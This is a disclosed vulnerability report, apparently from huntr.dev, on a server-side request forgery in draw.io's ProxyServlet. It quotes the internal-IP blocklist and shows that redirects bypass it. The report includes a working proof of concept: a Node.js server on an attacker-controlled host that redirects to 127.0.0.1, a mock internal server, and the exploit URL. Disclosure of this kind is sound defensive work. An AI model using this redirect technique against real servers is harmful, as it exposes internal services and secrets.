Lucene search

K
huntr7085C32AFFF5-6AD5-4D4D-BEEA-F55AB4925797
HistoryMay 12, 2022 - 8:03 p.m.

SSRF via Unvalidated Redirects in ProxyServlet

2022-05-1220:03:41
7085
www.huntr.dev
18
ssrf
proxyservlet
unvalidated redirects

EPSS

0.001

Percentile

51.0%

Description

Through the ProxyServlet external content can be retrieved.
This can be done by providing a URL in the url query parameter.
There are a few restrictions in place, especially internal hosts are forbidden.
The validation of the url parameter looks as follows:

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L233-L282

	public boolean checkUrlParameter(String url)
	{
		if (url != null)
		{
			try
			{
				URL parsedUrl = new URL(url);
				String protocol = parsedUrl.getProtocol();
				String host = parsedUrl.getHost().toLowerCase();

				return (protocol.equals("http") || protocol.equals("https"))
						&& !host.endsWith(".internal")
						&& !host.endsWith(".local")
						&& !host.contains("localhost")
						&& !host.startsWith("0.") // 0.0.0.0/8
						&& !host.startsWith("10.") // 10.0.0.0/8
						&& !host.startsWith("127.") // 127.0.0.0/8
						&& !host.startsWith("169.254.") // 169.254.0.0/16
						&& !host.startsWith("172.16.") // 172.16.0.0/12
						&& !host.startsWith("172.17.") // 172.16.0.0/12
						&& !host.startsWith("172.18.") // 172.16.0.0/12
						&& !host.startsWith("172.19.") // 172.16.0.0/12
						&& !host.startsWith("172.20.") // 172.16.0.0/12
						&& !host.startsWith("172.21.") // 172.16.0.0/12
						&& !host.startsWith("172.22.") // 172.16.0.0/12
						&& !host.startsWith("172.23.") // 172.16.0.0/12
						&& !host.startsWith("172.24.") // 172.16.0.0/12
						&& !host.startsWith("172.25.") // 172.16.0.0/12
						&& !host.startsWith("172.26.") // 172.16.0.0/12
						&& !host.startsWith("172.27.") // 172.16.0.0/12
						&& !host.startsWith("172.28.") // 172.16.0.0/12
						&& !host.startsWith("172.29.") // 172.16.0.0/12
						&& !host.startsWith("172.30.") // 172.16.0.0/12
						&& !host.startsWith("172.31.") // 172.16.0.0/12
						&& !host.startsWith("192.0.0.") // 192.0.0.0/24
						&& !host.startsWith("192.168.") // 192.168.0.0/16
						&& !host.startsWith("198.18.") // 198.18.0.0/15
						&& !host.startsWith("198.19.") // 198.18.0.0/15
						&& !host.endsWith(".arpa"); // reverse domain (needed?)
			}
			catch (MalformedURLException e)
			{
				return false;
			}
		}
		else
		{
			return false;
		}
	}

All of the restrictions of the URL validation function can be bypassed.
The cause for this can be found in the doGet method.
The URL validation check is performed only on the initial url parameter in the GET request.

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L65-L71

	protected void doGet(HttpServletRequest request,
			HttpServletResponse response) throws ServletException, IOException
	{
		String urlParam = request.getParameter("url");

		if (checkUrlParameter(urlParam))
		{

After the initial request, potential redirects are followed.
However, there are no checks against the value of the Location header, which will be used for the URLConnection on subsequent requests.

https://github.com/jgraph/drawio/blob/v18.0.3/src/main/java/com/mxgraph/online/ProxyServlet.java#L113-L143

					// Follows a maximum of 6 redirects 
					while (counter++ <= 6
							&& (status == HttpURLConnection.HTTP_MOVED_PERM
									|| status == HttpURLConnection.HTTP_MOVED_TEMP))
					{
						url = new URL(connection.getHeaderField("Location"));
						connection = url.openConnection();
						((HttpURLConnection) connection)
								.setInstanceFollowRedirects(true);
						connection.setConnectTimeout(TIMEOUT);
						connection.setReadTimeout(TIMEOUT);

						// Workaround for 451 response from Iconfinder CDN
						connection.setRequestProperty("User-Agent", "draw.io");
						status = ((HttpURLConnection) connection)
								.getResponseCode();
					}

					if (status >= 200 && status <= 299)
					{
						response.setStatus(status);
						
						// Copies input stream to output stream
						InputStream is = connection.getInputStream();
						byte[] head = (contentAlwaysAllowed(urlParam)) ? emptyBytes
								: Utils.checkStreamContent(is);
						response.setContentType("application/octet-stream");
						String base64 = request.getParameter("base64");
						copyResponse(is, out, head,
								base64 != null && base64.equals("1"));
					}

This allows sending HTTP requests to arbitrary internal and external hosts/URLs and bypassing the restrictions of the validation function.

Proof of Concept

For the proof of concept we have three servers, one attacker controlled server, the server where the draw.io webapp is located, and an internal server that contains a secret.

Attacker server:
This server serves the purpose of redirecting to URLs of the attackers choice.
For example the following script, saved as server.js can be run with Node.js (node server.js):

const http = require('http');

const requestListener = function (req, res) {
  res.writeHead(301, {
      "Location": "http://127.0.0.1:9001/"
  });
  res.end();
}

const server = http.createServer(requestListener);
server.listen(9000);

For this PoC this server runs under hax.7085.at:9000.

draw.io web app
The draw.io webapp is located under draw.7085.at:8080/draw.

Internal server
The internal server is located under 127.0.0.1:9001.

const http = require('http');

const requestListener = function (req, res) {
  res.writeHead(200, {
    "Content-Type": "text/html"
  });
  res.end("<html>internal secret</html>");
}

const server = http.createServer(requestListener);
server.listen(9001);

After everything is set up, then a request to the ProxyServlet of the draw.io web app can be sent by providing the URL to the attackers server in the url parameter in the following format: <url-to-webapp-host>/proxy?url=http://hax.7085.at:9000/.
So the URL in this case would be http://draw.7085.at:8080/draw/proxy?url=http://hax.7085.at:9000/.

Sending a request to this URL will bypass the restrictions and reveal the secret of the internal server.

EPSS

0.001

Percentile

51.0%

Related for C32AFFF5-6AD5-4D4D-BEEA-F55AB4925797